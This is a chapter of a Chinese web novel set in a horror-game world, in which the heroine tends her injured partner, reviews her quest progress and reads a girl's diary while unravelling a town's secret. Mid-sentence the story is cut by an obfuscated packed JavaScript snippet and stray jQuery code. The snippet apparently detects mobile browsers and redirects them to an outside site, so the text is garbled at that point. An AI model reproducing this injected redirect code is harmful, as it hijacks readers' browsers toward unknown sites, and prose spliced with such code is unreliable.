晏尽意目送对方远去，满天星花道吞噬掉对方的背影，瘦削的人不吭一声消失在花团锦簇中。


    她睁眼看着，对眼前的荒诞没有任何评价，待到风又吹动花墙，发出簌簌的响，晏尽意收回目光，推门回到卧室。


    屋子里一片昏暗。


    遵循小镇的惯例是没有灯的，她摸索着从包里找出一个打火机和一盏莲花灯，自己动手制造了屋子里唯一的光源，莲花灯是她游乐园倒闭前搞活动时进的剩余存货，泡过水，时响时不响，现在就不响。


    花瓣一瓣一瓣绽开，晏尽意坐在床边看着莲花灯出神，裴灼睡熟之后就不太老实，脑袋从睡袋里伸出来，靠在晏尽意腿边，睡的微卷的头发软软的堆积在晏尽意的手边，晏尽意在这个时候才发现对方侧脸的血痕。


    刚才一路上晏尽意只收到了对方的侧脸，她以为是对方王子病发作，在展现自己的黄金下颌线，没想过是因为受伤的原因。这么一点小伤对于NPC恢复也很简单，晏尽意身上没有恢复的伤是因为她现在算半个玩家。


    晏尽意伸手摸摸对方的耳朵，软软的，裴灼在睡梦里也下意识将脸埋进她的掌心。长长的睫毛颤动，痒痒的。


    晏尽意若有所思的盯着对方的睡觉也不肯摘的定位项圈，这么说可能有点不太礼貌，毕竟裴灼自己兴致勃勃画了图纸又花了大价钱找人将此打造了一套装饰品。


    晏尽意伸手转了转耳朵上的耳钉，不确定陈朵云是不是从这里来的灵感。如果是的话，那真是好的不学坏的学。


    指尖蹭过裴灼脸颊的伤，裴灼瑟缩一下，在另一只手的掌心哼唧一声，有些委屈。


    她不知道对方为什么不选择处理伤疤，总不能是想陪她一起痛吧，裴灼应该不会那么傻，晏尽意本身设定是战神，就有屏蔽痛觉的buff，而裴灼是貌美的辅助者，作战实力欠佳，天赋注定他对一切的敏感度都高，包括痛觉和情感也比其余人浓烈百倍。


    晏尽意之前习惯保护对方不受伤害，这一次一时没看住就让对方留了伤，不知道会不会留疤。


    她到现在都没摸清副本突然把裴灼送到自己眼前的意义是什么，如果想利用裴灼牵制自己留在这里，那吸引力还不够。晏尽意对裴灼失踪一事还抱有怀疑，仅凭这一段她就不会留在回忆里放纵自己沉沦。


    如果想利用裴灼这个形象来提示她什么也不合适。模拟出的这个裴灼拥有比晏尽意更全的记忆，且跟本尊一样十分好套话，几乎是晏尽意勾勾手对方就会竹筒倒豆子将信息如实道来，被游戏贴上封条的记忆也会随着对方的只言片语解锁，进一步加剧晏尽意的不稳定性。


    这个裴灼更娇纵，更主动，但是也更听话一点。出任务时背景意义更强，满足晏尽意对于辅助系搭档的幻想，尽管有些小脾气但是无伤大雅，相比脾气暴躁、嘴毒胜刀的本尊，简直可以说是十全十美。


    唯一突出的特征就是十分在意晏尽意初始搭档——


    程秋水，现任仲裁官。


    目前和她俩的状态比，简直一个天一个地。


    晏尽意是被保释的嫌犯，裴灼是不知道飘在那片海域的耗材，程秋水则是堂堂正正，受人敬仰的仲裁官。


    程秋水在晏尽意的眼里除了高高在上的仲裁官以外的身份，就是一个有点过节的前同学。


    对方在伊甸园时期除了成绩应当相当不起眼，晏尽意对其人几乎没什么特殊的记忆点，除了在排行榜上紧跟自己的数字。


    就连上一次呛对方，也纯粹是被陈朵云找茬找烦了之后，随机挑一个同党报复，对方目中无人的态度也很符合晏尽意对教会的刻板印象。


    晏尽意揉揉眉心，决心先把裴灼这个会牵动思绪、干扰决策的因素放一边。


    她召唤出玩家面板，开始盘点任务进度——


    「主线任务一——聆听小星的内心（100%）


    主线任务二——探索庙宇(35%)


    支线任务一——帮助奶奶获取天气周报（100%）


    限时任务——打败绷带蜘蛛（未完成，倒计时20小时）


    主线任务三——参与祭祀（10%）


    游戏结束倒计时22小时，请努力」


    还差主线二、三和限时任务需要完成，限时任务先放一放，不完成也不会被惩罚，完成了获得的绷带蜘蛛的歉意看起来也不像什么很上等的奖励，如果是把他带走的那只毛茸小蜘蛛再送给晏尽意的，那还不如当没看见。


    主线二，探索庙宇，这个相当简单了，晏尽意留意过打从进入镇子开始进度就在不断缓慢上涨，从镇口到这间屋子足足涨了5%，进来后更是又飙升了一节——迈入35%的大关。


    在小星的回忆里，镇子本身就是禁锢她的巨大庙宇，终其一生都难逃离。


    晏尽意不知道应该说什么，镇子的悲剧不是一代人造成的，或者说不是人造成的，一切都应该追溯到万恶的游戏。


    她垂下眼，从背包里翻出小星的日记开始阅读——


    day1


    家里来了一群人打砸，扬言如果不能交出船舱钥匙就把我丢去喂鱼，顾镇长制止了他们。半夜她和隔壁的太太一直在讲什么。


    day2


    顾镇长把我领到太太家，太太收养了我，她看起来冷冰冰的，我有点害怕。


    顾镇长走之前问我钥匙的下落，但是我说我不知道，顾镇长点点头就离开了，离开前让我好好读书，将来成为第二个女镇长。她的掌心有剥茧，好温暖。


    day6


    我去上学了，这是我第一次上学，学校里的一切都很好。


    同学和老师人都很好，我喜欢音乐课，讨厌体育课。


    我讨厌水。


    我讨厌水。


    我讨厌水。


    day17


    音乐不能来传达一切，有人发现了。


    它在盯着我。我要拔掉钥匙。


    请一切终止吧。


    day28


    那群人又来了，他们印发了很多东西贴在墙上，我被揭穿了。


    罪恶藏在我的血脉里，我是臭名昭著骗子的女儿。


    day34


    姥姥也在问钥匙的下落。


    种下一棵树最好的时间是十年前，其次是现在。（①）


    好渴。


    day48


    藏不住了，它发现了我，它在眨眼。


    day65


    我交出了一切。


    干涸的感觉怎么也控制不住，想要——的欲望越发强烈。


    day72


    我见到了她，母亲说的那个人。


    她砍断——


    ……


    day339


    她让人放我走。


    我不想走，在她身边我没那么渴了。


    day661


    我使用了异能。


    我召唤了星星。


    晏尽意快速浏览一遍，小星的日记时间线很跳，厚厚的一本实际上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628312|172491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只记录了一百来天。其中大部分都短的只有一两句意义不明的话，像梦话。


    越到后面小星写的频率越低，并且出现多次拉划，掩盖掉关键信息。小星的精神状态看起来稳定了，在那个不明意义的“她”出现后。


    晏尽意翻动书页，企图在其中找到一些直接有关星星的线索，没有，除了最后一句潦草的提到以外，小星只在刚开始提到了“钥匙”，一把船舱的钥匙，有关小星的身世。


    星星今夜上新，这开篇和内容关联性很低。晏尽意摸上开篇的那行字，摸起来有沙沙的手感，泡过水，海水，仔细嗅闻还有属于海水独特的咸涩味道。


    隔壁的未亡人，重合已有线索，晏尽意把这个目标锁定到邻居太太身上。她在地下城没有在对方的家里见过有除了邻居太太以外的人。但是邻居太太会在每年七月收到一封信，她说那是她家人送来的，晏尽意没去在意过多过问过。


    地下城鱼龙混杂，除了不幸被游戏卷入进来除了自卖为奴没有生存方法的普通人玩家和只走极端的异能者高玩，剩下还有像晏尽意这种无法正大光明出现在人前的偷渡者NPC。


    晏尽意之前一直以为邻居太太只是一位普通的没有异能的玩家，平静的生活在桃花巷。受到玩家联盟的帮助被保释出来后，在和邻居太太对接时一步步推翻之前的猜想。


    太狗血了，晏尽意合上书，有些疲惫的闭上眼睛整理思绪，企图理顺镇上的人际关系。


    她错了，她太自大了。


    刚进入副本就被顾镇长递来的档案袋和话语轻易的误导了。在错误的思路上越走越远，以至于完全没有去梳理过小星的生长线。


    小星并非常人，能承担起两个副本的关键人物，又怎么会是等闲之辈。


    晏尽意想到刚才在悬崖口见到那群奇异怪兽，这并不是第一次在镇子上见到。绷带人和集市那里都瞥见过，只不过没有办法进一步查看，每次都被打断。


    镇子里在从事某种不能“上台面”的工作。


    镇子里在进行嵌合体培育工作，小星的母亲可能就是主导者。


    在游戏崩溃后没有强制要求玩家不断进入副本，一些没有异能或者对永生和强大没有追求的玩家会选择抱团找一个地方，模仿在外面的生活状态，掩耳盗铃假装自己并没有被卷入恐怖游戏。


    这个镇子就是这样的聚落。


    而小星和大多数镇民都不同，是嵌合体和玩家的后代，晏尽意刚才抱起小女孩时，对方身上粘腻的感觉并不只是痛苦带来的冷汗，鳞片也不是异化的证明，是血脉里写下的诅咒。


    嵌合体继承的基因序列是［深海怪谈］，人鱼属。


    小星被高高捧起和霸凌的原因都指向钥匙。


    而她的母亲拥有船舱的钥匙，且在镇子里地位不低。


    晏尽意倾向对方是船长或者掌舵者，多次带领团队进行远洋捕捞，捕回来深海人鱼可能极大。船舱里藏的应该是高级嵌合体的基因提取物。


    刚才在山谷见到百人坑，除了表面一层像老大爷一样安和到似乎只是一次小憇的人以外，下面的人均口吐白沫，晏尽意起初判断是中毒，现在看来应是是溺毙之象。


    至于种树，应当是香蕉树。


    发生在小星母亲刚失踪，镇子上经历过一次重大波动后。人们渴望用这种方式来召唤神，同时巨树能庇佑那些无处可归的魂灵。


    什么样的重大波动，可以一次覆灭镇子上将近一半人。


    人鱼的报复。